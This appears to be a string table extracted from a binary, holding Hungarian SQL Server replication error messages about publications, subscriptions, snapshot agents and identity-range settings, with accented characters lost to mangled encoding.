Az azonnal frisslQ elQfizetQknl az adatbzis-kompatibilitsi szint nem lehet alacsonyabb, mint 70.

A kvetkezQ kiadvny nem tmogat nvtelen elQfizetseket:  %1!s! .

A megQrzsi idQtartamnak rvidebbnek kell lennie, mint a terjesztsi adatbzis megQrzsi idQtartama.

 A terjesztsi adatbzis megQrzsi idQtartamnak hosszabbnak kell lennie, mint brmely ltezQ nem egyestses kiadvny megQrzsi idQtartama.

tAz gyfl-elQfizetsek s a nvtelen elQfizetsek nem tehetnek kzz jra adatokat. EbbQl az adatbzisbl gy lehet jrakzztenni adatokat, ha a gykrkzztevQre szl elQfizets 0-nl nagyobb priorits kiszolgli elQfizets. Dobja el az aktulis elQfizetst, s hozzon ltre egy kiszolgli elQfizetst.

Csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr tagjai hajthatjk vgre ezt a mqveletet.

Nem lehet frissteni az egyestses replikci metaadatait. Ksrelje meg jbl a frisstst az elQfizetQ egyestsi gynknek futtatsval vagy a kzztevQ pillanatkpgynknek futtatsval.

A 0 priorits globlis elQfizetQk szmra nem engedlyezett egyestses kiadvnyok ltrehozsa.

Az SQL Server ezen kiadsa nem lphet fel replikci kzztevQjeknt vagy terjesztQjeknt.

|Az SQL Server ezen kiadsa nem tmogatja a kiadvnyokat.

D %1!s!  nem tbla vagy nzet.

Az SQL Server ezen kiadsa nem tmogatja a tranzakcis kiadvnyokat.

A @xact_seqno_start s a @xact_seqno_end paramternek azonosnak kell lennie, ha meg van adva a @command_id.

A @xact_seqno_start s a @publisher_database_id paramtert meg kell adni, ha meg van adva a @command_id.

 %1!s!  nem rvnyes paramter a pillanatkpgynk szmra.

 %1!s!  nem rvnyes paramter a naplolvas gynk szmra.

 %1!s!  nem rvnyes paramter a terjesztsi gynk szmra.

 %1!s!  nem rvnyes paramter az egyestsi gynk szmra.

%1!s! nem rvnyes rtk a kvetkezQ paramter szmra:  %2!s! . Az rtknek pozitv egsz szmnak kell lennie.

 %1!s!  nem rvnyes rtk a kvetkezQ paramter szmra:  %2!s! . Az rtk a kvetkezQk egyike lehet: 1, 2 vagy 3.

 %1!s!  nem rvnyes rtk a kvetkezQ paramter szmra:  %2!s! . Az rtk a kvetkezQk egyike lehet: 0, 1 vagy 2.

 %1!s!  nem rvnyes rtk a kvetkezQ paramter szmra:  %2!s! . Az rtk nem lehet kisebb 0-nl, s nem lehet nagyobb 10 000-nl.

%1!s! nem rvnyes rtk a kvetkezQ paramter szmra:  %2!s! . Az rtknek nem negatv egsz szmnak kell lennie.

Csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr vagy a db_owner (adatbzis-tulajdonos) rgztett adatbzis-szerepkr tagjai, illetve az elQfizets tulajdonosa dobhatja el a(z)  %2!s!  kiadvnyra szl  %1!s!  elQfizetst.

\Csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr valamely tagja, valamint  %1!s!  dobhatja el a kvetkezQ kiadvnyra szl lehvsos elQfizetst:  %2!s! .

A kvetkezQ terjesztsi adatbzis nem dobhat el, mert ppen hasznlatban van:  %1!s! .

A terjesztQn nem tallhat a kvetkezQ gynkprofil:  %1!s! .

,Nem tallhat a(z)  %1!s!  alternatv tblaazonosthoz (becenvhez) tartoz tblanv vagy tblatulajdonos a kvetkezQ helyen: sysmergearticles.

Egyestses replikciban felhasznlt tblban lennie kell legalbb egy nem szmtott oszlopnak.

Lehvsos elQfizetsek nem hozhatk ltre ugyanabban az adatbzisban, mint a kiadvny.

Csak globlis egyestses elQfizetsek vehetQk fel a kvetkezQ adatbzisba:  %1!s! .

A program megszaktja az azonnal frisstQ vagy vrlistval frisstQ INSERT esemnyindtt, mert nem ez az elsQ esemnyindt, amelyik elindul. Az sp_settriggerorder eljrssal lltsa elsQre a(z)  %1!s!  esemnyindt indtsi sorrendjt.

A program megszaktja az azonnal frisstQ vagy vrlistval frisstQ UPDATE esemnyindtt, mert nem ez az elsQ esemnyindt, amelyik elindul. Az sp_settriggerorder eljrssal lltsa elsQre a(z)  %1!s!  esemnyindt indtsi sorrendjt.

A program megszaktja az azonnal frisstQ vagy vrlistval frisstQ DELETE esemnyindtt, mert nem ez az elsQ esemnyindt, amelyik elindul. Az sp_settriggerorder eljrssal lltsa elsQre a(z)  %1!s!  esemnyindt indtsi sorrendjt.

,Vannak meglvQ elQfizetsek a kvetkezQ heterogn kiadvnyra:  %1!s! . j cikkek felvtelhez elQszr dobja el a kiadvny meglvQ elQfizetseit.

Nem hozhat ltre tranzakcis elQfizets a kvetkezQ egyestses kiadvnyra:  %1!s! . Ehhez a mqvelethez a kiadvny tpusa a kvetkezQk egyike lehet: transactional(0) (tranzakcis) vagy snapshot(1) (pillanatkp).

Fggetlen gynk hasznlata nem engedlyezett a kvetkezQ kiadvny esetben:  %1!s! .

A megadott feladatazonostnak terjesztsi gynki vagy egyestsi gynki feladatot kell azonostania.

@Inkonzisztencia szlelhetQ a replikcis gynk tbljban. A megadott feladatazonost nem tartozik egyetlen bejegyzshez sem a kvetkezQ helyen:  %1!s! .

(Inkonzisztencia szlelhetQ a replikcis gynk tbljban. A megadott feladatazonost tbb bejegyzshez tartozik a kvetkezQ helyen:  %1!s! .

Ez az eljrs lekldses elQfizetsi gynkknek csak tvoli vgrehajtst tmogatja.

Az  offload_server  tulajdonsg nem egyezhet meg a terjesztQ nevvel.

Nem lehet meghatrozni az elQfizetQ nevt az elosztott gynkvgrehajtsnl.

gynkvgrehajts nem oszthat el olyan elQfizetQre, amely a terjesztQvel azonos kiszolgln tallhat.

A @change_active jelzQ nem adhat meg kzi szqrQkkel vagy nzetekkel rendelkezQ cikkeknl.

Az SQL Server  %1!s!  nem tudott Windows-csoporttagsgi informcit szerezni a kvetkezQ bejelentkezsi azonostra vonatkozan:  %2!s! . EllenQrizze, hogy a Windows-fik hozzfr-e a bejelentkezsi azonost tartomnyhoz.

Az egyni trolt eljrs smabelltsa rvnytelen egy pillanatkp-kiadvnycikknl.

Nem lehet elQfizetni  dump database  sync_type tpus kiadvnyra, mert az elQfizetQnek vannak ms kiadvnyokra szl elQfizetsei is.

Nem lehet elQfizetni a(z) %1!s! kiadvnyra, mert az elQfizetQnek elQfizetse van egy  dump database  sync_type tpus kiadvnyra.

A @use_ftp rtke nem lehet  true , mikzben a @alt_snapshot_folder se nem NULL, se nem res.

A kvetkezQ adatbzis nincs kzztve egyestses replikcira:  %1!s! .

,Mind a @subscriber, mind a @subscriberdb paramter szmra egyszerre meg kell adni nem null rtkeket, vagy mindkettQt rtk nlkl kell hagyni.

A kvetkezQ adatbzis nincs kzztve tranzakcis vagy pillanatkp-replikcira:  %1!s! .

Nem lehet meghatrozni a megadott elQfizets pillanatkpmappjt, mert a megadott elQfizetQt nem ismeri a terjesztQ.

A pillanatkp elQtti s utni parancsok nem tmogatottak olyan kiadvny szmra, amely tmogathatja a nem SQL Server elQfizetQket oly mdon, hogy szinkronizlsi mdszernek a karakteres md bcp-t hasznlja.

,Nem hozhat ltre  none  sync_type tpus elQfizets olyan kiadvnyra a  concurrent  vagy a  concurrent_c  szinkronizlsi eljrs hasznlatval.

Nem lehet ltrehozni a kvetkezQ cikket:  %1!s! . Prhuzamos szinkronizlsi kiadvny rszt kpezQ sszes cikknek trolt eljrsokat kell hasznlnia az elQfizetQt rintQ mdostsok vgrehajtsra.

Nem lehet mdostani a kvetkezQ cikket:  %1!s! . Prhuzamos szinkronizlsi kiadvny rszt kpezQ sszes cikknek trolt eljrsokat kell hasznlnia az elQfizetQt rintQ mdostsok vgrehajtsra.

tNem lehet mdostani a kvetkezQ cikket:  %1!s! . Prhuzamos szinkronizlsi kiadvny rszt kpezQ cikkekhez nem tartozhat olyan ins_cmd/del_cmd, amely hosszabb %2!s! karakternl.

A @status paramter rtke a kvetkezQk egyike lehet:  initiated  vagy  active .

 A pillanatkp-tmrtsi bellts csak olyan kiadvnynl engedlyezhetQ, amelynl meg van adva egy alternatv pillanatkp-ksztsi mappa.

Internetre engedlyezni kvnt kiadvny esetn az  ftp_address  tulajdonsg rtke nem lehet null.

Ha egy kiadvny engedlyezve van az internetre, az  alt_snapshot_folder  tulajdonsg nem lehet res.

Az  ftp_port  tulajdonsgnak nem negatv, 65536-nl kisebb egsz szmnak kell lennie.

8A kzztevQt nem lehet mdostani, mert az elQfizetst eldobtk. Az sp_subscription_cleanup trolt eljrssal vgezzen tiszttst az esemnyindtkon.

rvnytelen kizrni a tbla rowguid oszlopt a partcibl.

A(z)  %1!s!  oszlopot nem lehet felvenni a(z)  %2!s!  cikkbe, mert lefutott a(z)  %3!s!  kiadvny pillanatkpe.

A(z)  %1!s!  oszlop nem szerepelhet fggQleges partciban, mert se nem nullzhat, se nem rendelkezik alaprtkkel.

A(z)  %1!s!  oszlop nem zrhat ki fggQleges partcibl, mert se nem nullzhat, se nem rendelkezik alaprtkkel.

\A kvetkezQ oszlop nem ltezik:  %1!s! .

A megadott feladatazonost nem kpvisel %1!s! gynki feladatot egyetlen lekldses elQfizetshez sem ebben az adatbzisban.

4Csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr s a db_owner (adatbzis-tulajdonos) rgztett adatbzis-szerepkr tagjai, valamint a megadott replikcis gynki feladat ltal kiszolglt elQfizetsek tulajdonosai mdosthatjk az gynk kirtsi belltsait.

TNem sikerlt azonostani a(z)  %1!s!  kzztevQt a kvetkezQ terjesztQn:  %2!s! . EllenQrizze, hogy a terjesztQn regisztrlva van-e a kvetkezQ kiszolgl:  %3!s! .

A megadott elQfizetQ nem hasznlhat talakthat elQfizetseket a Data Transformation Services hasznlata esetn. Csak SQL Server 2000, SQL Server 2005 s OLE DB rendszerq elQfizetQk hasznlhatnak talakthat elQfizetseket.

Nem tallhat a(z)  %1!s!  csomag az msdb adatbzisban a kvetkezQ kiszolgln:  %2!s! .

A kiadvnynak  character ,  concurrent_c  vagy  database snapshot character  bcp-mdban kell lennie a DTS engedlyezshez.

A kiadvnynak  independent_agent type  tpusnak kell lennie a DTS engedlyezshez.

Ez a kiadvny engedlyezi a DTS-t hasznl talakthat elQfizetseket, ezrt automatikusan ltrehozott trolt eljrsokat s paramteres parancsokat ignyel, amelyek a @status alaprtelmezett rtkvel kerlnek belltsra.

Nem mdosthatja az ins_cmd, az upd_cmd vagy a del_cmd cikktulajdonsgot, mert a kiadvny engedlyezi a Data Transformation Services szolgltatsait, illetve a frissthetQ elQfizetseket.

Csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr s a db_owner (adatbzis-tulajdonos) rgztett adatbzis-szerepkr tagjai, valamint az elQfizets ltrehozja mdosthatja az elQfizets tulajdonsgait.

Nem sikerlt ltrehozni az oszloplistt, mert tl hossz. Hozza ltre a listt manulisan.

\A Data Transformation Services (DTS) tulajdonsgokat nem lehet belltani, mert a kiadvny nem engedlyezi a DTS-t hasznl talakthat elQfizetseket. talakthat elQfizetsek engedlyezshez el kell dobni a kiadvnyt, majd jbl ltre kell hozni, engedlyezve az talakthat elQfizetseket.

rvnytelen a @dts_package_location paramter rtke. Az rvnyes rtkek:  Distributor  vagy  Subscriber .

DTS-t engedlyezQ kiadvny nem engedlyezhetQ frissthetQ elQfizetsekhez.

A @dts_package_name csak lekldses elQfizetseknl llthat be.

A @agent_type paramter rtke a kvetkezQk egyike lehet:  distribution ,  merge  vagy NULL.

Prvnytelen tulajdonsgnv:  %1!s! 

Helytelen a kvetkezQ paramter: %1!s!. Az rtke a kvetkezQk egyike lehet:  %2!s! ,  %3!s!  vagy  %4!s! .

Az elQfizets nincs inicializlva, illetve nem feladattvteli mdban fut mqveletekhez lett ltrehozva.

A(z)  %1!s!  kzztevQ elQfizetQjnek nincs rvnyes queue_id azonostja.

\A krt md megegyezik az aktulis mddal.

Ennek az elQfizetsnek a queue_id =  %1!s!  azonostj vrakozsi sora nem res. A vrakozsisor-olvas gynk futtatsval gondoskodjon arrl, hogy a vrakozsi sor res legyen, mielQtt a mdot tlltja [queued] rtkrQl [immediate] rtkre.

Az MSrepl_tran_version oszlop replikci cljra elQre definilt oszlop, s csak uniqueidentifier adattpus lehet.

A @identity_range, a @pub_identity_range vagy a @threshold nem lehet NULL, ha a @identityrangemanagementoption AUTO rtkre van lltva.

Nem tmogathat az identitstartomny-kezels, mert ennek a tblnak nincs identitsoszlopa.

Nem ll rendelkezsre rvnyes identitstartomny. EllenQrizze az identitsoszlop adattpust.

TSikertelen az identitsautomatizls.

hNem sikerlt kiosztani j identitstartomnyt.

DSikertelen a smareplikls.

Ez a mdosts nem lp rvnybe a pillanatkp jbli futtatsig.

`A kvetkezQ kiadvny nem ltezik:  %1!s! .

Egyestsi szqrQfelttel ltal hasznlt oszlopot nem lehet eldobni.

A(z)  %1!s!  oszlopot nem lehet eldobni a(z)  %2!s!  cikkbQl, mert lefutott a(z)  %3!s!  kiadvny pillanatkpe.

A(z)  %1!s!  kiadvny nem engedlyezi az elQfizets-msolst, vagy pedig az elQfizetse nem lett szinkronizlva.

Az elQfizets nem csatolhat, mert a kiadvny nem engedlyezi az elQfizets-msolatok szmra a mdostsok szinkronizlst.

Nem lehet feloldani a(z) objektum %1!s! terhelsi mutatjt, mert az objektum nem felhasznli tbla.

Nem tallhat a(z) %1!s! cikk forrsobjektum-azonostjnak informcija.

Ez a lps nem sikerlt, mert a fggQleges partciban ltezik a kvetkezQ oszlop:  %1!s! .

Ez a lps nem sikerlt, mert a fggQleges partciban nem ltezik a kvetkezQ oszlop:  %1!s! .

A kiadvnyban immediate_sync tpusnak kell lennie az elQfizets-msols engedlyezshez.

tAz adatbzis elQfizets-msolatfjlbl van csatolva az sp_attach_subscription hasznlata nlkl. Dobja el az adatbzist, majd csatolja jra az sp_attach_subscription hasznlatval.

Nem lehet msolatot kszteni az elQfizetsrQl. Ennl a mqveletnl csak egyfjl-elQfizetses adatbzisok tmogatottak.

Az elQfizetQk nem fizethetnek elQ olyan kiadvnyokra, amelyek DTS-csomag hasznlata nlkl engedlyezik a DTS-t.

A kvetkezQ fjl nem hozhat ltre, mert mr ltezik:  %1!s! .

Alternatv szinkronizlsi partner csak a kzztevQn konfigurlhat.

Nem rvnyes szinkronizlsi partnerek a kvetkezQk: kzztevQ:  %1!s! , kzztevQi adatbzis:  %2!s! , kiadvny:  %3!s! .

A creation_script tulajdonsg nem lehet NULL, ha 0x0000000000000000 smabellts van megadva a cikk szmra.

A megadott forrsobjektumnak trolteljrs-objektumnak kell lennie, ha  proc schema only  tpus cikknt van kzztve.

Nem lehet felvenni a(z)  %1!s!  cikket, mert pillanatkp jtt ltre a kvetkezQ kiadvnyhoz:  %2!s! .

A megadott forrsobjektumnak nzetobjektumnak kell lennie, ha  view schema only  tpus cikknt lesz kzztve.

Eljrs, fggvny, szinonima vagy sszestQ sma cikk esetn a lehetsges smabelltsok: 0x00000001, 0x00000020, 0x00001000, 0x00002000, 0x00400000, 0x02000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000 s 0x80000000.

Egy  csak sma  cikk @pre_creation_command paramtere a kvetkezQk egyike lehet:  none  vagy  drop .

 %1!s!  nem rvnyes tulajdonsg egy  csak sma  cikk szmra.

Az  offload_server  tulajdonsg nem lehet NULL vagy res, ha a lehvsos elQfizetsi gynk engedlyezve lesz tvoli aktivlsra.

A(z)  %1!s!  adatbzisnak nincs lehvsos elQfizetse a megadott kiadvnyra.

Az  offload_server  tulajdonsg nem lehet azonos az elQfizetQ kiszolglnevvel.

A megadott forrsobjektumnak felhasznl ltal definilt fggvnynek kell lennie, ha  func schema only  tpus cikknt lesz kzztve.

Nzetsma-cikk esetn a lehetsges smabelltsok: 0x00000001, 0x00000010, 0x00000020, 0x00000040, 0x00000100, 0x00001000, 0x00002000, 0x00040000, 0x00100000, 0x00200000, 0x00400000, 0x00800000, 0x01000000, 0x08000000, 0x40000000 s 0x80000000.

Ne hvja meg ezt a smamdostsi trolt eljrst, mert az aktulis adatbzis nincs engedlyezve repliklsra.

Az automatikus identitstartomny-tmogats csak olyan kiadvnyok esetn hasznos, amelyek engedlyezik a frisstQ elQfizetQket.

Az identitstartomny-rtkeknek 1-nl nagyobb pozitv, egsz szmoknak kell lennik.

dA kszbrtknek 1 s 100 kztt kell lennie.

xAz INSERT parancs nem hasznlhat, mert a tblnak van identitsoszlopa. A beszrsra szolgl egyni trolt eljrssal lehet megadni az  identity_insert  belltsokat az elQfizetQ.

A(z)  %1!s!  cikktulajdonsg csak akkor llthat be, ha a cikk automatikus identitstartomny-kezelst hasznl.

A(z)  %1!s!  kzztevQre szl egy vagy tbb elQfizets nem engedlyezi az elQfizets-msolst, vagy pedig nem lett szinkronizlva.

Van egy lekldses elQfizets a kvetkezQ kzztevQre:  %1!s! . Csak a lehvsos s a nvtelen elQfizetsek msolhatk.

@Ez az adatbzis vagy kzztevQ, vagy van egy lekldses elQfizets a kvetkezQ kiadvnyra:  %1!s! . Csak a lehvsos s a nvtelen elQfizetsek msolhatk.

Nem lehet msolni az elQfizetseket, mert nem tallhat szinkronizlt elQfizets az adatbzisban.

A(z)  %1!s!  tbla mr kzz van tve msik cikknt eltrQ automatikus identitstmogatsi belltssal.

dA kszbrtknek 1 s 100 kztt kell lennie.

Nem lehetett sikeresen ltrehozni tkzsi tblt a kvetkezQ cikkhez:  %1!s! .

$Nem sikerlt felvenni a szinkronizlsi partnerek listjra a kvetkezQt: kzztevQ:  %1!s! , kiadvny-adatbzis:  %2!s!  kiadvny:  %3!s! .

A karakteres md kiadvny nem tmogatja a fggQleges szqrst, ha az alaptbla nem tmogatja az oszlopszintq nyomkvetst.

A(z)  %1!s!  tbla nem rsze a kvetkezQ kiadvnynak:  %2!s! .

Ez a lps sikertelen volt, mert egyetlen kiadvnynak sem rsze a kvetkezQ tbla:  %1!s! .

Nem lehet ltrehozni fjlt a kvetkezQ helyen:  %1!s! . EllenQrizze, hogy rvnyes-e az elrsi t.

Nem lehet csatolni a kvetkezQ elQfizetsfjlt:  %1!s! . EllenQrizze, hogy rvnyes-e a fjl elrsi tja, s a fjl frissthetQ-e.

OLE DB vagy ODBC elQfizetQk nem fizethetnek elQ a(z)  %2!s!  kiadvnyban lvQ  %1!s!  cikkre, mert a cikknek van idQblyegzQ-oszlopa, a kiadvny pedig  allow_queued_tran  tulajdonsg (engedlyezi a vrakozsi soros frisstsq elQfizetseket).

A kvetkezQ elsQdlegeskulcs-oszlop nem zrhat ki fggQleges partcibl:  %1!s! .

$A szinkronizlsi partnerek listjrl nem tvolthat el a kvetkezQ: kzztevQ:  %1!s! , kzztevQi adatbzis:  %2!s! , kiadvny:  %3!s! .

Prvnytelen eltvoltani a kvetkezQket a szinkronizlsi partnerek listjrl: alaprtelmezett kzztevQ:  %1!s! , kiadvny-adatbzis:  %2!s! , kiadvny:  %3!s! .

tAz  @add_to_active_directory  paramter nem llthat TRUE rtkre, mert az Active Directory gyflcsomagja nincs megfelelQen teleptve az SQL Server programot futtat szmtgpen.

A(z)  %1!s!  kiadvnyon vgzett Active Directory mqvelet nem fejezhetQ be, mert az Active Directory gyflcsomag nincs megfelelQen teleptve az SQL Server programot futtat szmtgpen.

A(z)  %1!s!  oszlop mr ltezik a kvetkezQ tblban:  %2!s! .

A(z)  %1!s!  szqrQfelttelben hasznlt egyik oszlop vagy nem ltezik a(z)  %2!s!  tblban, vagy nem zrhat ki az aktulis partcibl.

rvnytelen tulajdonsg ( %1!s! ) a kvetkezQ cikknl:  %2!s! .

<ElQszr el kell dobnia az sszes meglvQ egyestses kiadvnyt ahhoz, hogy nvtelen vagy helyi elQfizetst vehessen fel a kvetkezQ adatbzisba:  %1!s! .

<rvnytelen tulajdonsgrtk:  %1!s! . Az sp_changemergearticle eljrs rvnyes paramtereinek listjt az SQL Server online knyveiben tallhatja meg.

$A smareplikls nem sikerlt, mert a(z)  %2!s!  kiszolgln lvQ  %1!s!  adatbzis nem az eredeti kzztevQje a kvetkezQ tblnak:  %3!s! .

Meg kell adni az ttltsi kiszolglt, ha ennek az elQfizetsnek az gynkt t kell tlteni tvoli vgrehajts cljbl.

Nem sikerlt eldobni a partcibl a(z)  %1!s!  oszlopot, mert egy szmtott oszlop hasznlja.

A kvetkezQ paramter nem lehet NULL vagy res karakterlnc:  %1!s! .

A(z)  %1!s!  oszlop nem dobhat el a(z)  %2!s!  tblbl, mert elsQdleges kulcsot kpezQ oszlop.

A(z)  %1!s!  oszlop nem dobhat el a(z)  %2!s!  tblbl, mert egy egyedi index hasznlja ezt az oszlopot.

A(z)  %1!s!  tblt nem lehet kzztenni egyszerre egyestses kiadvnyba s frissthetQ elQfizetQi belltssal rendelkezQ kiadvnyba.

Karakteres md kiadvny fggQleges partcijba nem lehet felvenni szmtott oszlopot vagy idQblyegzQ-oszlopot.

Nem lehet tiszttst vgezni a(z)  %1!s!  kiadvny metaadatain, mert ms kiadvnyok hasznljk ennek a kiadvnynak egy vagy tbb cikkt.

XHa frissthetQ elQfizetseket szeretne ltrehozni, az elQfizetQt SQL Server 2000 verzira kell frissteni, amennyiben a kzztevQ SQL Server 2000 vagy jabb verzij.

Lrvnytelen kiadvnynv:  %1!s! .

8Nem lehet kzztenni a smhoz kttt kvetkezQ nzetet:  %1!s! . A @type paramter szmra megadott rtk a kvetkezQk egyike lehet:  indexed view schema only  (pillanatkpes vagy tranzakcis replikci esetn) vagy  indexed view logbased  (csak tranzakcis replikci esetn).

A tpus a kvetkezQk egyike lehet:  table  vagy  ( view | indexed view | proc | func ) schema only .

Nem lehet kzztenni a kvetkezQ forrsobjektumot:  %1!s! . A @type paramter szmra megadott rtk ( indexed view schema only  vagy  indexed view logbased ) csak indexelt nzeteknl hasznlhat. Vagy adjon  view schema only  rtket a @type paramternek, vagy mdostsa gy a nzetet, hogy smhoz kttt legyen, egyedi frtztt indexszel.

Nem lehet kzztenni a kvetkezQ forrsobjektumot:  %1!s! . A @type paramter szmra megadott rtk ( indexed view logbased ) azt ignyli, hogy a nzet smhoz kttt legyen, egyedi frtztt indexszel. Vagy adjon  view schema only  rtket a @type paramternek, vagy mdostsa gy a nzetet, hogy smhoz kttt legyen, egyedi frtztt indexszel.

Egy egyestses cikk  schema_option  tulajdonsga nem mdosthat, miutn pillanatkp kszlt a kiadvny szmra. Ezen cikk  schema_option  tulajdonsgt gy lehet mdostani, hogy a hozz tartoz egyestses kiadvnyt eldobja, majd jbl ltrehozza.

A(z)  %2!s!  elQfizetQi adatbzis nem fizethet elQ a kvetkezQ kiadvnyra, mert a kiadvny egy vagy tbb olyan cikket tartalmaz, amelyre mr tranzakcis szinten elQfizetett ugyanaz az elQfizetQi adatbzis:  %1!s! .

A(z)  %2!s!  elQfizetQi adatbzis nem fizethet elQ a kvetkezQ kiadvnyra, mert a kiadvny egy vagy tbb olyan cikket tartalmaz, amelyre mr egyestsi szinten elQfizetett ugyanaz az elQfizetQi adatbzis:  %1!s! .

LA @identity_range, a @pub_identity_range, s a @threshold rtke NULL kell legyen, ha a @identityrangemanagementoption  none  vagy  manual  rtkre van lltva.

A(z)  %2!s!  tbla  %1!s!  oszlopa nem zrhat ki fggQleges partcibl, mert van egy szmtott oszlop, amely tQle fgg.

Nem sikerlt eldobni a(z)  %1!s!  oszlopot a kvetkezQ tblbl:  %2!s! .

Nem sikerlt felvenni a(z)  %1!s!  oszlopot a kvetkezQ tblba:  %2!s! .

lNem ltezik a kvetkezQ tkzsi tbla:  %1!s! .

A megadott @destination_folder nem egy ltezQ mappa rvnyes elrsi tja.

Nem sikerlt ltrehozni a pillanatkp-knyvtrstruktrt a megadott mappban: @destination_folder.

Vagy nem jttek ltre a pillanatkpfjlok, vagy tisztts trtnt rajtuk.

A megadott identitstartomny-rtk tllpte a megengedett maximlis rtket.

A megadott automatikus identitstmogatsi paramterek tkznek egy msik cikkben lvQ belltsokkal.

Egyazon kiadvnyban nem lehet ktszer kzztenni a kvetkezQ objektumot:  %1!s! .

Vagy a @publisher (s a @publisher_db), vagy a @subscriber (s a @subscriber_db) megadsa szksges, de a kettQ nem adhat meg egyszerre.

A(z)  %1!s!  kiadvny nem tartalmaz olyan cikket, amely automatikus identitstartomny-kezelst hasznl.

A @resync_type paramter rtke a kvetkezQ egyike lehet: 0, 1 vagy 2.

rvnytelen jraszinkronizlsi tpus. Ennl az elQfizetsnl nem trtnt rvnyests.

pNem sikerlt jraszinkronizlni ezt az elQfizetst.

rvnytelen az elQfizetQ partciellenQrzsi kifejezs:  %1!s! .

A(z)  %1!s!  felold hasznlata sorn meg kell adni a felold adatait.

0A(z)  %1!s!  felold hasznlata sorn a felold adatainak olyan oszlopot kell meghatrozniuk, amely dtum s idQ vagy kis dtum s idQ adattpus.

hA(z)  %1!s!  cikknek engedlyeznie kell az oszlopnyomkvets szmra a(z)  %2!s!  felold hasznlatt. Ezen a cikken az alaprtelmezett felold fogja feloldani az tkzseket.

Az egyestsi esemnyindtkat nem sikerlt ltrehozni a kvetkezQ tbln:  %1!s! .

A smamdostsi adatokat nem sikerlt frissteni az elQfizetsi adatbzisban.

Nem sikerlt msolatot kszteni az elQfizetsrQl, mert a(z)  %1!s!  kiadvnyra szl elQfizets lejrt.

Nem sikerlt csatolni az elQfizetst, mert a(z)  %1!s!  kiadvnyra szl elQfizets lejrt.

8Nem tallhat a pillanatkpgynk parancssora a megadott kiadvnynl. EllenQrizze, hogy ltezik-e rvnyes szablyos pillanatkp-feladat a terjesztQn.

A terjesztQ verziszma nem lehet alacsonyabb a kzztevQ verziszmnl.

A @dynamic_snapshot_location paramter rtke nem lehet res karakterlnc.

Ez a kiadvny mindkt msodpldnyon naplzza az tkzseket. Az SQL Server 2005 elQtti elQfizetQk nem fogadjk el ezt a belltst.

Dinamikuspillanatkp-ksztQ feladat csak olyan kiadvnyra temezhetQ, amelyen engedlyezve van a dinamikus szqrs.

Dinamikus pillanatkp temezse elQtt a megadott kiadvnyra fel kell venni egy pillanatkpgynkt.

Nem tallhat a megadott kiadvnyhoz tartoz pillanatkpgynk azonostja.

A megadott kiadvnynl nem tallhat az a dinamikuspillanatkp-ksztQ feladat, amelyre igaz a kvetkezQ:  %1!s! :  %2!s! .

 %1!s!  nem egy rvnyes dinamikuspillanatkp-ksztQ feladat neve.

,A megadott nv a dinamikuspillanatkp-ksztQ feladat szmra ( %1!s! ) mr hasznlatban van. Prblja jra a mqveletet egy msik feladatnvvel.

(A @dynamic_snapshot_jobid s a @dynamic_snapshot_jobname paramterek kzl csak ez egyik szmra adhat meg az alaprtelmezettQl eltrQ rtk.

$Nem lehet alknyvtrat ltrehozni a pillanatkpmappa alatt (%1!s!). EllenQrizze, hogy van-e elg szabad hely a lemezen, valamint azt, hogy a pillanatkpgynkt futtat felhasznli fiknak van-e engedlye arra, hogy alknyvtrat hozzon ltre a pillanatkpmappa alatt.

lNem lehet tmsolni a felhasznli parancsprogramot a terjesztQn lvQ pillanatkpmappba (%1!s!). EllenQrizze, hogy van-e elg szabad hely a lemezen, valamint azt, hogy a pillanatkpgynkt futtat felhasznli fiknak van-e engedlye arra, hogy rjon a pillanatkpmappba, illetve annak alknyvtraiba.

Nem sikerlt adatokat beolvasni a kvetkezQ kiadvnyra vonatkozan: %1!s!. EllenQrizze jra a nevet.

8Nem tallhat egy generci, amelynek a %1!s!.dbo.MSmerge_genhistory helyen kellene lennie. Ha ez a hiba egy elQfizetsi adatbzisban trtnt, inicializlja jra az elQfizetst. Ha a hiba egy kiadvny-adatbzisban trtnt, lltsa helyre az adatbzist egy biztonsgi msolatbl.

Nem lehet inicializlni az zenet-vrlista alap elQfizetst, mert a platform nem kompatibilis a kvetkezQvel: zenetsor-kezels %1!s!.

Figyelmeztets: a fggQleges partciban mr ltezik a kvetkezQ oszlop:  %1!s! .

Figyelmeztets: a fggQleges partciban nem ltezik a kvetkezQ oszlop:  %1!s! .

rvnytelen a @subscriber_type rtke. Az rvnyes rtkek:  local  s  global .

Nem lehet vgrehajtani az sp_dropmergearticle trolt eljrst, ha a kiadvnynak van olyan elQfizetQje, amelyik SQL Server 2000 vagy korbbi verzin fut. Dobja el, majd hozza ltre jra a kiadvnyt a(z)  %1!s!  cikk nlkl, vagy pedig lltsa a(z)  %2!s!  kiadvny kompatibilitsi szintjt  90RTM  rtkre az sp_dropmergearticle trolt eljrs hvsa elQtt.

Az igny szerinti felhasznli parancsprogram nem alkalmazhat a pillanatkp-kiadvnyra.

A @dynamic_snapshot_location nem lehet nem res karakterlnc, mikzben a @alt_snapshot_folder se nem res, se nem null.

A @dynamic_snapshot_location nem lehet nem res karakterlnc, mikzben a @use_ftp rtke  true .

pA kvetkezQ trolt eljrs nem tallhat:  %1!s! .

rvnytelen rtk van megadva a kvetkezQ paramterhez: %1!s!.

|A partci utols oszlopnak kizrsa nem engedlyezett.

Nem sikerlt a(z)  %1!s!  tulajdonost a kvetkezQre mdostani:  %2!s! .

A(z)  %1!s!  oszlop nem zrhat ki a fggQleges particionlsbl, mert van egy egyedi index, amely hasznlja ezt az oszlopot.

Prvnytelen tulajdonsgnv:  %1!s! 

A megadott @agent_jobid nem rvnyes feladatazonost egy  %1!s!  gynki feladat szmra.

pNem ltezik a kvetkezQ egyestsi szqrQ:  %1!s! .

Nem sikerlt felvenni az Active Directory cmtrszolgltatsba a kvetkezQ kiadvnyt:  %1!s! . %2!s!

Nem sikerlt felvenni a(z)  %1!s!  cikket, mert mr ltrejtt egy pillanatkp. Ha mgis ezt szeretn tenni, lltsa 1-re a @force_invalidate_snapshot paramtert a meglvQ pillanatkp rvnytelentshez.

Nem sikerlt felvenni a(z)  %1!s!  cikket, mert vannak aktv elQfizetsek. Ha mgis ezt szeretn tenni, lltsa 1-re a @force_reinit_subscription paramtert az aktv elQfizetsek jrainicializlshoz.

